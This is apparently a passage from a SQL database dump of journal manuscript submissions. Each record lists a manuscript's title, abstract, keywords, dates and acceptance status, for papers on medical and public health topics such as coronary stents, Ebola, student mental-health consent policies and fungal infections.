biotechnology in manufacturing coronary stents has shown potential in reducing late complications. The development of biodegradable stents that can be absorbed into the body has minimized the risks associated with long-term complications such as restenosis and thrombosis. Tissue engineering techniques have also enabled the production of stents that mimic the structure and function of the natural vessel, promoting tissue regeneration and reducing inflammation. The incorporation of drug-eluting systems in stents has improved the efficacy of drug delivery to the targeted site, leading to reduced complications. These innovative technologies hold great promise for improving the outcomes of patients with coronary artery disease.\r\n','Tissue Culture\r\nBiotechnology \r\nCoronary Stents \r\nCoronary Artery Disease\r\nAngioplasty \r\nLate Complications ',5429,NULL,'2023-03-01',NULL,'Submitted',2,NULL,'2023-03-06',NULL,1,1,'0','Accept ',0,'','',NULL,0,0,1,NULL,0),(13528,13697,85,0,'iphspr-23-13528','The Effectiveness of Influenza Vaccination in Pregnancy In Relation To Child Health Outcomes',NULL,5,0,'','Determine the impact of influenza vaccination during pregnancy on the development of the foetus. systematic analysis and review. From 1 January 1996 to 29 June 2018, data were gathered from Clinical Trials.gov, the Cochrane Library, EMBASE, Medline, Medline in process, PubMed, and Web of Science. The Medline database was updated. Observational studies and randomised controlled trials reporting on the health of children and infants delivered to mothers who received the inactivated influenza vaccine during pregnancy. Infant laboratory-confirmed influenza was the main result. Other respiratory infections, primary care, clinic visits or hospitalisations owing to influenza sickness, and long-term respiratory outcomes in children were secondary outcomes. Four primary RCTs and four observational studies were included in the research, with additional articles describing the secondary outcomes of these RCTs.','Vaccination, Pregnancy, Respiratory outcomes,  RCTs.',3282,NULL,'2023-03-02',NULL,'Submitted',2,NULL,'2023-03-16',NULL,1,1,'1','Accept',0,'','',NULL,0,0,0,NULL,0),(13529,13698,975,0,'ipjbs-23-13529','HIV Management in Primary Care',NULL,14,0,'','Title: HIV Management in Primary Care.\r\n Background: HIV is a chronic medical condition that has been historically managed by specialists.  Recent advances in medication regimens have simplified treatment.  This simplification could result in more patients having HIV managed in primary care.  \r\nPurpose: To assess perceptions and practices of primary care providers (PCPs) regarding management of HIV in primary care.  Methods: This was a quantitative, cross-sectional, descriptive study.  Participants were included who were licensed healthcare providers and practiced primary care full-time.  \r\nResults: Most participants answered that HIV cannot be managed in primary care, that they referred new and established patients to specialty clinics for management of HIV, and that they would be more likely to manage HIV in primary care if appropriate continuing medical education (CME) was available.  Conclusion: This study demonstrates a need for HIV-related CME activities for PCPs.\r\n',' HIV,Medical condition ',5410,NULL,'2023-03-03',NULL,'Submitted',2,NULL,'2023-03-10',NULL,1,1,'1','Accept',0,'','',NULL,0,0,0,NULL,0),(13531,13700,85,0,'iphspr-23-13531','Public Health Emergencies during Migrant Health Ebola Crisis in Uganda',NULL,5,0,'','By early November 2022, the Ebola virus disease (EVD), which was first reported in Uganda on September 22, 2022, had spread to seven districts, with a total of 131 confirmed cases and 48 fatalities. Due to Uganda\'s present demographic makeup, which includes about 1.4 million refugees and asylum seekers, public health emergency response calls for a particular and tailored strategy. In fact, Uganda may serve as an illustration of the significant negative effects on global health caused by forced migration as a result of improved global connectedness. Inclusive policies are even more crucial during public health emergencies given the susceptibility of refugees and migrants due to poor living, housing, and working situations. Lessons on inclusivity from COVID-19 in a variety of contexts, including as universal access to care and vaccination  It would be essential to safeguard the wellbeing of immigrants, refugees, and host communities regardless of nationality, place of residence, or legal status.','Ebola; Uganda; Migrants',3282,NULL,'2023-03-03',NULL,'Submitted',2,NULL,'2023-03-16',NULL,1,1,'1','Accept',0,'','',NULL,0,0,0,NULL,0),(13532,13701,85,0,'iphspr-23-13532','Perceptions of Spanish Emergency Critical Care Health Professionals Of Spiritual Needs During Covid 19 Pandemic',NULL,5,0,'','To find out what the medical staff working in Spain\'s emergency and critical care units think about the spiritual care given during the COVID-19 pandemic. Deep-dive interviews were used in a qualitative inquiry. Setting: Medical personnel from several Spanish areas working in emergency, emergency, and intensive care units. Findings: One nursing assistant and 47 nurses made up the sample. The qualitative analysis generated four primary themes that reflect the following categories: \"the experience with spirituality in clinical practise\"; \"resources and barriers to give spiritual care\"; \"the COVID epidemic and spiritual care\" and \"training in spiritual care\". Two subdeliveries, titled \"ethical issue\" and \"rituals of dying,\" were also acquired. Conclusions: Most emergency and critical care nurses think it\'s crucial to provide spiritual care to patients To address patients\' spiritual needs, however, there are still a number of obstacles in their therapeutic practise. Professionals thought that spiritual beliefs had become significant patient demands during the COVID-19 pandemic in Spain, and that the limits imposed by the epidemic had exposed medical staff to additional moral conundrums and religious concerns around end-of-life care. The consensus among health professionals is that this subject need additional education and funding. Clinical practise implications: To improve care in emergency scenarios like the COVID-19 pandemic, medical personnel in emergency intensive care must give nursing care that satisfies the spiritual needs of their patients. In order to do this, emergency services experts must collaborate and take part in the creation of measures to Lack of time, inadequate training, and common misconceptions in emergency services make it challenging to handle these needs.','Clinical practice; COVID-19; Nurses; Religion; Spirituality',3282,NULL,'2023-03-03',NULL,'Submitted',2,NULL,'2023-03-16',NULL,1,1,'1','Accept',0,'','',NULL,0,0,0,NULL,0),(13533,13702,85,0,'iphspr-23-13533','Emergency Contacts In Mental Health Emergencies Notifying University Students of Multi-Year Analysis of Student Consent Policy Preferences',NULL,5,0,'','In universities, sharing information is a contentious but frequently discussed suicide prevention strategy. The purpose of this study was to determine which students are most and least likely to consent to having their emergency contacts notified by the institution if they have major mental health concerns. Regular cross-sectional data from 29,799 students at a UK institution in 2020 and 31,998 students in 2021 were collected. A descriptive summary of the percentage of students who opted in to a \"permission to contact policy\" over years was made. According to student characteristics, multiple logistic regression models were used to analyse the likelihood that students would opt-in. Asian ethnicity, declaring a disability, age, gender identity, sexual orientation, ethnicity, home/international student status, and being a taught postgraduate student were all predictive. of not choosing. The 2021 dataset confirmed these findings. The least likely to opt-in pupils tend to be some of the most susceptible. The availability of emergency contacts at universities may have gaps that could result in significant injury or even death. It is necessary to conduct more research to determine why the groups mentioned in this study are less likely to opt-in and what kind of additional assistance they might need.','University students; mental health; Suicide; Emergency contact; Prevention policy',3282,NULL,'2023-03-03',NULL,'Submitted',2,NULL,'2023-03-16',NULL,1,1,'1','Accept',0,'','',NULL,0,0,0,NULL,0),(13534,13703,85,0,'iphspr-23-13534','Major Public Health Emergencies in Medical Supplies Scheduling',NULL,5,0,'','Early on in the COVID-19 pandemic in Wuhan, there was an unfair distribution of patients among hospitals and a delay in the delivery of medical supplies, which lowered the survival rate of infected people. This research suggests a strategy for allocating medical supplies per vehicle to each hospital and the supply sequence per vehicle to each hospital in order to build a quick and precise supply scheme for medical materials in significant public health emergencies. The following two sub-problems are specifically solved in this paper: calculating the medical supplies that may be transported in each vehicle to each hospital; and calculating the shortest transportation times and matching routes from any distribution facility to any hospital. It is carried out the strategy for resolving sub-problem by a series of iterations, each of which determines the quickest path from a distribution hub, via one or more hospitals, and back to the hub. This research suggests a distribution strategy for medical supplies in significant public health emergencies, in accordance with the subproblem. To address this problem, a multiple dynamic programming approach that combines a few distinct dynamic programming procedures is suggested. Our algorithm also recognises the need for quick scheme updates when the number of cars is fluctuating. While the second sub-problem should be resolved based on the assumption that the relevant data will be available following the occurrence of a significant public health emergency, the first sub-problem can be resolved in normal circumstances. The entire procedure suggested in the case study section is This study is used to schedule medical supplies during the early stages of the COVID-19 outbreak in Wuhan, demonstrating the method\'s viability. The key innovation of the methodology suggested in this study is that problems can be solved optimally while the time complexity is kept within reasonable bounds.','Major public health emergencies; Medical supplies; Transportation scheduling; COVID-19 pandemic',3282,NULL,'2023-03-03',NULL,'Submitted',2,NULL,'2023-03-16',NULL,1,1,'1','Accept',0,'','',NULL,0,0,0,NULL,0),(13535,13704,85,0,'iphspr-23-13535','Health Effects in Fukushima Emergency Workers by Epidemiological Study of the Examination of Progress Report 2016-2019',NULL,5,0,'','The Epidemiological Study of Health Effects in Fukushima Emergency Worker was started in 2014 to clarify the long-term health effects from radiation exposure in emergency workers who responded to the radiation accident at the Fukushima Daiichi Nuclear Power Plant of Tokyo Electric Power Company, which was hit by a tsunami caused by the 2011 off the Pacific coast of Tohoku earthquake. In order to illustrate the characteristics of the research participants during this time, we sought to combine the findings of the Health Examination Study, which was conducted from January 2016 to March 2019. Those who underwent the initial physical examination and gave us permission to utilise their survey responses in our study were included. There were all men. Participants in the study had an average age of 51.6 years. The study subjects had higher rates of obesity, current smoking, and monthly alcohol use compared to Japanese men. The blood test findings between the study participants and healthy Japanese men showed no discernible changes. It is crucial to make efforts to stop study participants from leaving the cohort over time and to maintain their participation in the Health Examination Study in order to clarify the long-term health impacts of radiation exposure on emergency workers.','Radiation; Fukushima; TEPCO; Emergency workers; Cohort study; Epidemiological study',3282,NULL,'2023-03-03',NULL,'Submitted',2,NULL,'2023-03-16',NULL,1,1,'1','Accept',0,'','',NULL,0,0,0,NULL,0),(13536,13705,85,0,'iphspr-23-13536','Multi-Year Analysis Of Student Consent Policy Preferences Of Emergency Contacts In Mental Health',NULL,5,0,'','In universities, sharing information is a contentious but frequently discussed suicide prevention strategy. The purpose of this study was to determine which students are most and least likely to consent to having their emergency contacts notified by the institution if they have major mental health concerns. Regular cross-sectional data from 29,799 students at a UK institution in 2020 and 31,998 students in 2021 were collected. A descriptive summary of the percentage of students who opted in to a \"permission to contact policy\" over years was made. Several logistic regression models looked at the likelihood that students would opt-in depending on their characteristics (clinical depression, age, gender identity, sexual orientation, ethnicity, status as a domestic or international student, handicap, study method, and degree of study). Most students choose to accept the policy. Clinical depression is most often present had the strongest correlations in 2020 with not opting in. Being a taught postgraduate student, identifying as male, lesbian/gay/bisexual, Asian race, and claiming a handicap were additional indicators of not opting-in. The 2021 dataset confirmed these findings. The least likely to opt-in pupils tend to be some of the most susceptible. The availability of emergency contacts at universities may have gaps that could result in significant injury or even death. It is necessary to conduct more research to determine why the groups mentioned in this study are less likely to opt-in and what kind of additional assistance they might need.','University students Mental health Suicide Emergency contact Prevention policy',3282,NULL,'2023-03-03',NULL,'Submitted',2,NULL,'2023-03-16',NULL,1,1,'1','Accept',0,'','',NULL,0,0,0,NULL,0),(13540,13708,73,0,'ipjnn-23-13540','SCL6A4 gene variants moderate associations between childhood food insecurity and adolescent mental health',NULL,14,0,'','Food insecurity is a persistent concern in the U.S. and has been shown to affect\r\nchild mental health and behavior. The SCL6A4 gene has been indicated as a moderator of the\r\neffects of chronic stress on anxiety in adolescents aged 14-21. However, it is unclear if SCL6A4\r\nmay also play a role in the effects of childhood food insecurity, a form of chronic stress, on\r\nadolescent mental health. This study aimed to identify effects of food insecurity on adolescents\'\r\nmental health and delinquent behavior when both mom and child go hungry in the child\'s early\r\nyears, and the potential interaction with SCL6A4 variants (SS/LL). Methods: The data and\r\nsample for this research are from The Future of Families and Child Wellbeing Study. The cohort\r\nconsists of 4,898 children (age 1-15 years, male = 47%, African American = 50%) and their\r\nrespective caregivers sampled from large cities in the U.S. from 1998 to 2000. Results: The\r\nSCL6A4 serotonin transporter short/short allele emerged statistically significant as a moderator\r\nof childhood food insecurity and adolescent mental health. Specifically, the presence of the\r\nshort/short allele increased anxiety symptoms in adolescents with exposure to food insecurity in\r\nchildhood. Conclusion: The SCL6A4 short/short allele amplifies risk of anxiety related mental\r\nillness when children experience food insecurity. The gene environment interaction provides\r\ninsight into the mechanistic pathway of the effects of poverty related adversity, such as food\r\ninsecurity, on developmental trajectories of mental health.','SCL6A4; gene environment; anxiety; adolescence; food insecurity',353,NULL,'2023-03-06',NULL,'Submitted',2,NULL,'2023-03-21',NULL,1,1,'1','   ',0,NULL,NULL,NULL,0,0,0,NULL,0),(13541,13709,45,0,'iphsj-23-13541','Aneurysmal cyst: Case report.',NULL,2,0,'','Abstract :\r\n\r\nThe aneurysmal bone cyst (KOA) is a benign cystic lesion of the bones. It is consisted of blood-filled cavities separated from each other by septa of connective tissue comprising fibroblasts,giant osteoclastic cells, and a larger trabecular meshwork bone, more or less abundant. It affects especially the long bones and the rachis. It occurs mainly in children and young adults, with a slight predominance of women. We report the case of a KOA in a young 13 year old patient, with accidental radiological discovery. The purpose of the presentation of this case is to identify the diagnostic, therapeutic and prognostic features of this lesion which lyses the bone aggressively and can simulate a variety of aggressive tumors.\r\n','Key words : aneurysmal bone cyst, oral cavity, maxillary.',692,NULL,'2023-03-06',NULL,'Submitted',2,NULL,'2023-03-21',NULL,1,1,'1','Accept',0,'','',NULL,0,0,1,NULL,0),(13546,13710,85,0,'iphspr-23-13546','Technology, Health, and the Capabilities Approach: The Ethics of Dietary Apps',NULL,5,0,'','Nutritional applications are believed to encourage improved eating practises, enhance dietary knowledge, and increase nutritional awareness. However, their use has also brought up a number of moral and social concerns about how they affect individual freedoms, how they create power imbalances, how they prevent end users from learning more about health, how they coerce people, and even how they can have negative effects on people\'s health. This essay will examine some of the most frequent concerns levelled towards dietary apps using the capabilities approach methodology to determine what steps should be implemented to preserve people\'s rights and ensure their health. Dietary applications democratise nutritional knowledge, but they must be created and used in a way that is morally acceptable and considerate of users\' individual, societal, and environmental preferences. This essay will show that, while some forms of nudging within dietary applications are appropriate, app developers shouldn\'t push people in ways that are agency-infringing, coercive, or forceful for their own economic benefit. Overall, this article will present a user-centric technique to show how food technologies should take the end-user into account while they are being developed and used.','The Capability Approach; Technology Ethics; Health Ethics; Dietary Apps; Freedom; Nutrition',3282,NULL,'2023-03-09',NULL,'Submitted',2,NULL,'2023-03-16',NULL,1,1,'1','Accept',0,'','',NULL,0,0,0,NULL,0),(13547,13711,85,0,'iphspr-23-13547','California\'s sanctuary city laws and the mental health of Latinx immigrants',NULL,5,0,'','This quasi-experimental study investigated whether \"sanctuary city\" regulations are a useful tool for lowering mental health disparities among Latinx communities in California according to immigration status. There is ample evidence that restrictive immigration policies cause mental health issues in people. Undocumented immigrants, documented immigrants, and native-born Latinxs are the three categories that are the focus of restrictive immigration laws; it is still unknown whether sanctuary city policies can enhance population mental health in these groups. We integrated information from the multi-year California Health Interview Survey on the health of nearly 142,000 adults, 6400 adolescents, and 13,000 children with information on the 482 communities in California regarding whether and when they adopted a sanctuary policy. After comparing non-sanctuary cities to sanctuary cities using propensity score matching, we estimated respondent-level difference-in-differences models to ascertain whether, between 2007 and 2018, the policies of sanctuary cities have positive effects on the mental health of adults, adolescents, and kids. After policy implementation, there was a trend towards improved mental health in sanctuary cities, but the mental health trends in the three Latinx immigration sub-groups of each age group did not match our expectations. Other strategies, such as increased local access to mental health care, may be required to mitigate the negative consequences of strict federal immigration rules. In terms of alternative treatment interference, citizens\' policy awareness, the policy\'s ability to address prior health impacts, methodological concerns, and prospective policy momentum, we analyse these results.','Sanctuary city; Immigration policy; Mental health; Latinxs; Immigrants',3282,NULL,'2023-03-09',NULL,'Submitted',2,NULL,'2023-03-16',NULL,1,1,'1','Accept',0,'','',NULL,0,0,0,NULL,0),(13548,13712,85,0,'iphspr-23-13548','Effects Of A Free-Care Policy On The Demand For Routine Medical Services In The Democratic Republic Of The Congo During A Lengthy Ebola Outbreak',NULL,5,0,'',' In order to sustain routine service levels, the government subsidised health services in a few health zones in reaction to the DRC\'s 10th Ebola Virus Disease  epidemic. In order to test the hypothesis that routine services would not significantly decline during the FCP, we evaluate the effects of the initial and revised Free Care Policies on overall clinic visits, uncomplicated malaria, simple pneumonia, fourth antenatal care clinic visits, and measles vaccinations. Methodology and results From January 2017 to November 2020, we used data from the DRC\'s national health information system. Facilities that were originally and subsequently enrolled in the FCP, which took place in August 2018 and November 2018, respectively, were considered intervention facilities. In the North Kivu Province, only comparison facilities from the health regions where at least one Ebola case was reported. An examination of a controlled interrupted time series was performed. As comparison to comparable locations, the FCP appeared to have a favourable impact on boosting overall clinic attendance rates, uncomplicated malaria case rates, and simple pneumonia case rates. Most of the FCP\'s long-term effects were insignificant or, if they were, just of modest significance. The introduction of the FCP did not appear to have any significant effects on the rates of measles vaccines or fourth ANC clinic visits, compared to reference locations. We did not notice the drop in measles vaccination rates that has been noted in other places. The study has limitations because we were unable to take health facility into account. service volumes and bypassing in private healthcare facilities. Conclusions: Our results show that FCPs can be used to continue providing ordinary services during epidemics. The study\'s design also shows that regularly reported health data from the DRC are capable of picking up changes in health policy.','Demand for health care; Finance; Funding Budgeting; Health economics; Health policy and planning; Infectious diseases/communicable diseases',3282,NULL,'2023-03-09',NULL,'Submitted',2,NULL,'2023-03-16',NULL,1,1,'1','Accept',0,'','',NULL,0,0,0,NULL,0),(13550,13715,86,0,'ipaom-23-13550','Metabolic crates for alpaca nutrition research: Design, operation, and validity',NULL,19,0,'','For metabolism studies on farm animals, accurate feces and urine collection, as well as accurate feed and water intake measurements, are required. When making metabolism crates, factors like: Animal behavior, reducing the likelihood of injury, and animal cleanliness ought to be taken into consideration. An initial prototype of metabolism crates was created in this study using morphometric measurements taken from thirty five-year-old male Huacaya alpacas. The crates were mostly made of metal for strength and durability and had parts that could be replaced. Two of these metabolism crates were constructed and put through their paces with experimental animals paired up sequentially for five days each.','Alpaca nutrition, Metabolism, Ruminant',5013,NULL,'2023-03-13',NULL,'Submitted',2,NULL,'2023-03-14',NULL,1,1,'1','Accept',0,NULL,NULL,NULL,0,0,0,NULL,0),(13551,13716,86,0,'ipaom-23-13551','New therapies for beta-thalassemia and laws governing orphan drugs',NULL,11,0,'','   ','Beta-thalassemia, Hemoglobin, TDT',712,NULL,'2023-03-13',NULL,'Submitted',2,NULL,'2023-03-14',NULL,1,1,'1','Accepted',0,NULL,NULL,NULL,0,0,0,NULL,0),(13552,13717,86,0,'ipaom-23-13552','Training in geriatric medicine amongst professions',NULL,5,0,'','The majority of older patients present with complex health issues that frequently necessitate multidisciplinary treatment. As a result, successful care relies on the participation of doctors, nurses, physiotherapists, occupational therapists, pharmacists, and other professionals who take an interprofessional, patient-centered approach. Interprofessional education (IPE), in which various health professionals learn from, with, and about one another in order to improve collaboration and care quality, is a growing trend in education. A geriatric medicine literature review on IPE is presented in this article.','Interdisciplinary education, Interprofessional education, Geriatric medicine, Multidisciplinary',5013,NULL,'2023-03-13',NULL,'Submitted',2,NULL,'2023-03-14',NULL,1,1,'1','Accepted',0,NULL,NULL,NULL,0,0,0,NULL,0),(13553,13718,86,0,'ipaom-23-13553','Understanding the threat of infectious diseases: Prevention, treatment and future outlook',NULL,3,0,'',' ','Infectious diseases, Public health, Transmission',3031,NULL,'2023-03-13',NULL,'Submitted',2,NULL,'2023-03-14',NULL,1,1,'1','Accepted',0,NULL,NULL,NULL,0,0,0,NULL,0),(13554,13719,86,0,'ipaom-23-13554','Young people\'s gender dysphoria treatment models: How psychiatry lost and is regaining its voice',NULL,12,0,'',' ','Dysphoria treatment,Trans children, Multidisciplinary',5013,NULL,'2023-03-13',NULL,'Submitted',2,NULL,'2023-03-14',NULL,1,1,'1','Accepted',0,NULL,NULL,NULL,0,0,0,NULL,0),(13555,13689,45,0,'iphsj-23-13555','Knowledge of Referral and Feedback System among Higher Level Health Care Providers in Amhara Region, Northwest Ethiopia',NULL,5,0,'','Introduction: A referral system is the interrelationships and coordination of patient care\r\nservices from one health care facility to another. It connects patients with health care providers\r\nand ensures that they receive the necessary care and thus improving the quality of care for the\r\npatient through better coordination and management of services between facilities. However,\r\ndespite the growing awareness of problems associated with referrals among health care\r\nproviders there is no study conducted to improve referral systems by assessing levels of\r\nawareness of referral and feedback services among higher professionals in primary and tertiary\r\nlevel health care providers.\r\nObjective: The aim of this study was to assess knowledge of referral and feedback system\r\namong higher level health care provider in primary and tertiary level health care providers\r\nAmhara region, Ethiopia.\r\nMethod:An institutional based cross-sectional study was conducted from September 30 to\r\nOctober 30, 2021 among primary and tertiary level health care, Amhare region. Random\r\nsampling technique used to select 223 participants. self- administer questionnaire used to collect\r\nthe data. Bivariabl and multivariable logistic regressions performed to see the effect of each\r\nindependent variable on the dependent variable.\r\nResult\r\nMore than half (54.7%) of higher level health care providers had good knowledge of referral\r\nsystem. Only (15.2%) (95% CI: 10, 20) of respondents had good knowledge of feedback. Factor\r\nassociated with knowledge of referral system was interdepartmental protocol [AOR: = 2.2, 95%\r\nCI: (1.08, 4.51)]. Sex [AOR: =4.5, CI 95 %( 1.03- 19.97)], follow up (AOR= 2.40, CI 95%\r\n(1.13, 5.13)] were also significantly associated with knowledge of feedback system.\r\nConclusion and recommendation\r\nA total of (54.7%) of the respondents had good knowledge of referral systems. Only 15.2% of\r\nhigher level professionals were good knowledge of feedback. About 157(70 %) of respondents\r\ndid not write feedback. The reasons not written feedback were 56(25.1%) workload, 46 (20%)\r\nlack of feedback form and 33(14.8%) lack of awareness. Interdepartmental protocol, Sex and\r\nfollow up were associated with referral and feedback systems respectively. So efforts need to\r\nstrength follow up systems and female professionals should increase knowledge of feedback\r\nsystems through highly practice of referral systems. And, every health facility should avail and\r\nadhere interdepartmental protocol to increase knowledge of referral system','Knowledge, Referral, Feedback ,Higher level health care providers',643,NULL,'2023-03-13',NULL,'Submitted',2,NULL,'2023-03-17',NULL,1,1,'1','Accept',0,NULL,NULL,NULL,0,0,0,NULL,0),(13556,13602,73,0,'ipjnn-23-13556','A Case of Brucellosis Spondylitis Accompanied by Neurobrucellosis: A Case Report',NULL,2,1,'Overview of Nervous System Disorders','','',333,NULL,'2023-03-13',NULL,'Submitted',2,NULL,'2023-03-29',NULL,1,1,'1','accepted',0,NULL,NULL,NULL,0,0,0,NULL,0),(13558,13706,251,0,'ipacm-23-13558','A Review on Molecular Epidemiology of Cytomegalovirus in Northern Nigeria','',5,0,'',' Cytomegalovirus, also known as “Human Cytomegalovirus” infects people of all ages. The virus derives its name   from its ability to cause cell enlargement, Cyto means cell, while megalo means enlargement. It shares a common characteristic of lifelong latency with other members of Herpesviridae such as: Epstein Bar Virus, Varicella Zoster Virus, Herpes simplex 1 and 2, and Kaposi Sarcoma Herpes Virus. These are associated with several illnesses such as oral and genital blisters, congenital disorders, encephalitis, and Kaposi Sarcoma, among others. The virus poses a significant threat to public health worldwide, especially due to its latency and absence of effective medical treatment despite self-limitation.\r\n              Methodology\r\nThis review covers a systematic review, meta-analysis, and scoping review on cytomegalovirus with a view to assess the viral burden among the studied populations and identify reported states within Northern Nigeria endemic with the virus. The review also identified active infections and effect of the virus on  the reported people.\r\n                Results\r\nActive pollutions with Cytomegalovirus have been reported among pregnant women in Kebbi State (IgM 1.10%), IgM of 57.90% among blood donors, and 7.10% in HIV patients in Sokoto State, 14.40% IgM among HIV patients with retinitis in Kano, and 11.40%, among HIV patients, 10.50% in Pregnant women and 23.90% among women of reproductive age respectively, in Kaduna State all in Northwest Nigeria. Similarly, in the North, Central active infections were reported in Benue (3.50%) among pregnant women, 19.80% among HIV patients in Bida, and 2.60% among blood donors in Niger State, 24.90% among pregnant women in Kwara State, 21.70% among pregnant women in Kogi State, 10.60% in HIV Children and adolescent in the FCT Abuja, 9.50% among recurrent miscarriage women as well as 4.80% in normal women in Plateau State respectively. Cytomegalovirus decreases CD4 counts among HIV Patients, causes miscarriages among pregnant women, retinitis in HIV patients, and renders blood ineligible for Donation. Therefore, regular medical checkup and treatment of infected cases to prevent complications are recommended.','Prevalence, Cytomegalovirus, Nigeria, Molecular, Epidemiology',3944,'','2023-03-04',NULL,'Submitted',2,0,'2023-03-20','',1,1,'1','',0,'','',0,0,0,0,NULL,0),(13559,13699,251,0,'ipacm-23-13559','Serological and Hemto-Biochemical Study of Canine Parvovirus and their Associated Risk Factor','',14,3,'','Canine Parvovirosis is globally distributed disease of Dogs, caused by Canine parvovirus. This study was conducted to evaluate the sero-prevalence and their associated risk factors for Canine Parvovirus Infection along with the changes in hematological and biochemical parameters in between seropositive and seronegative Dogs. A total of 154 dogs affected from gastroenteritis were screened for this study, out of which 33 dogs were found to be affected with CPV infection. The data and risk factors were screened on SPSS by logistic regression model. The whole seroreactivity to Canine Parvovirus infection was 20.77%. The associated risk factors of the disease occurrence were; age of dogs and unvaccination status of dogs. Hematological parameters of seropositive dogs showed significant changes (p<0.05) in values of total erythrocyte count, total leukocyte count , hemoglobin  and packed cell volume as compared to seronegative dogs. The biochemical parameters like alanine transaminase (ALT), Aspartate amino transferase(AST) and alkaline phosphatase (ALP) in seropositive dogs were significantly (p<0.05) high. The study highlights that unvaccinated status, young age are found to be significant risk factors associated with the occurrence of CPV and has an effect on the hemato-biochemical parameters of dogs.','Parvovirus, Risk factor,Dogs, Hemtobiochemical parameters',3944,'','2023-03-03',NULL,'Submitted',12,0,'2023-07-26','',1,1,'1','',0,'','',0,0,0,0,NULL,0),(13560,13721,251,0,'ipacm-23-13560','A Short Note on Bacterial Culture Identification',NULL,5,0,'','Due to their high resistance to antibiotics, Gram-negative bacteria (GNB) are one of the world\'s most significant public health issues. Due to the high risk of morbidity and mortality associated with these microorganisms and the frequent need for patients to be admitted to the intensive care unit (ICU), these microorganisms have a significant impact on patient care in hospitals. The majority of clinical isolates come from two large groups: Enterobacteriaceae and non-fermenters. However, other gram-negative organisms, such as Neisseria and Haemophilus spp., that are clinically relevant Chlamydia trachomatis and Helicobacter pylori. The interprofessional team\'s role in managing patients with gram-negative bacteria is discussed in detail in this activity.','Gram-negative bacteria; Public health; Microorganisms; Helicobacter pylori; Infectious diseases',3944,NULL,'2023-03-14',NULL,'Submitted',2,NULL,'2023-04-25',NULL,1,1,'1',NULL,0,'','',NULL,0,0,0,NULL,0),(13561,13722,251,0,'ipacm-23-13561','Bacterial Pathogenesis: bacterial pathogens',NULL,5,0,'','Emerging pathogens are now considered to be a major microbiologic public health threat, and medical communities have been dealing with emerging and reemerging infectious diseases since the 1950s. This review focuses on bacterial emerging diseases and examines the factors that contributed to their emergence as well as potential obstacles in the future. We found 26 major bacterial-based emerging and recurrent infectious diseases; the majority of them came from either animals (known as zoonoses) or water sources. The following are significant contributors to the emergence of these bacterial infections: advancement of new demonstrative apparatuses, like enhancements in culture strategies, improvement of atomic procedures and execution of mass spectrometry in microbial science; increase in human bacterial pathogen exposure as a result of shifts in sociodemographics and the environment; and the emergence of more lethal bacterial strains as well as opportunistic infections, particularly affecting populations with compromised immune systems. It is difficult to precisely define their implications for human disease and necessitates the use of experimental models and the comprehensive integration of microbiological, clinical, and epidemiologic aspects. To better comprehend the clinical significance of these emerging waterborne and zoonotic diseases, it is urgent to allocate financial resources for their collection.\r\nAt least fifty new infectious agents have been identified in the last 40 years; about ten percent of them are bacteria. Similar to N. mikurensis, some of these have distinct clinical signs and necessitate specific antibiotic treatments and diagnostic tools. We discuss 26 significant new bacterial pathogens that have been discovered in the last fifty years. When it caused a clinical entity that was distinct from the other species in the genus, we decided to include only new genera and species that belonged to a previously characterized genus. As of now, the list is far from complete, and not all newly discovered pathogenic species are included. For instance, only two of the typhus and six of the spotted fever groups of Rickettsia were known to be human pathogens prior to 1984. At this time, at least 25 species of the spotted fever family are known to exist, the majority of which are either highly pathogenic to humans or strongly suspect of being so. In addition, new virulent strains of previously known species have been discovered, such as the enterohemorrhagic Escherichia coli, which in 2011 in Germany caused a large outbreak of haemolytic uremic syndrome and were linked to sprout consumption.\r\n','Disease causation, emerging bacteria, emerging infectious diseases, intracellular bacteria, Koch postulates, zoonoses',777,NULL,'2023-03-14',NULL,'Submitted',2,NULL,'2023-04-26',NULL,1,1,'1',NULL,0,'','',NULL,0,0,0,NULL,0),(13562,13723,251,0,'ipacm-23-13562','Diagnosis of Ebola Virus Disease and Protein Antigen Detection',NULL,5,0,'','Ebola virus disease laboratory diagnosis is crucial to outbreak response efforts; However, it is still extremely difficult to develop risk-free and speedy testing strategies for this pathogen with a high biosafety level in environments with limited resources. Diagnostic techniques have shifted toward faster, more accurate molecular assays ever since the 1976 discovery of the Ebola virus through conventional viral culture methods and electron microscopy. Importantly, efforts to support decentralized diagnostic testing capacity that can be utilized at or close to the point of care for patients have increased alongside technological advancements. The unprecedented scope of the West Africa Ebola epidemic in 2014 and 2015 sparked a lot of innovation in this area. A number of new diagnostic platforms have made it into the field, and they have the potential to change how outbreaks are handled in the future and immediately improve surveillance efforts in West Africa. We discuss the development of Ebola virus disease diagnostic testing and initiatives to establish field diagnostic laboratories during previous outbreaks in this review. Then, we go over the difficulties in diagnosing the epidemics of 2014 and 2015 and go over a lot of new diagnostic tests that might help solve some of these problems in the future.\r\nIn 1976, there were two simultaneous outbreaks of acute viral hemorrhagic fever caused by the Ebola virus, with 284 cases in Nzara and 318 in Yambuku, Democratic Republic of the Congo. Up until 2013, there have been approximately 20 additional outbreaks involving nearly 2500 cases in the Democratic Republic of the Congo, Sudan, Gabon, Côte d\'Ivoire, Uganda, and the Republic of the Congo since these initial cases.\r\n','Ebola virus disease; Diagnostic techniques; laboratory diagnosis; testing; conventional viral culture; microscopy ',789,NULL,'2023-03-14',NULL,'Submitted',2,NULL,'2023-04-26',NULL,1,1,'1',NULL,0,'','',NULL,0,0,0,NULL,0),(13563,13724,251,0,'ipacm-23-13563','Fungal infections and The Silent Crisis',NULL,5,0,'','Due to the use of treatment modalities that enable these patients to survive for longer periods of time and the growth of at-risk populations, fungal infections are becoming more prevalent. Histopathology examination of tissues is and will continue to be an important tool for defining the diagnostic significance of positive culture isolates or PCR results because it detects fungal invasion of tissues and vessels as well as the host reaction to the fungus. However, there are very few situations in which fungi\'s morphological characteristics are unique. As a result, the fungus should be the primary focus of histopathology diagnosis, as should the host\'s response to the infection and the presence or absence of tissue invasion. The most frequent fungi associated with that morphology and any other potential fungi or parasites that should be taken into account in the differential diagnosis should be mentioned in the pathology report. Immunohistochemistry, in situ hybridization, and polymerase chain reaction (PCR) are some of the other methods that have been used to identify the specific agent that is present in the histopathology specimen. Laser micro dissection and other methods will also be helpful in identifying dual fungal infections, which are becoming more common, as well as the environment in which they occur.\r\nWorldwide, over 150 million severe fungal infections are diagnosed each year, resulting in approximately 1.7 million fatalities annually. These numbers are alarmingly constantly rising due to a number of social and medical advancements that have aided the spread of fungal infections over the past few decades. Furthermore, the drawn out remedial application and prophylactic utilization of antifungal medications in high-risk patients have advanced the development of (multi)drug-safe organisms, including the very destructive strain Candida auris. As a result, fungal infections already 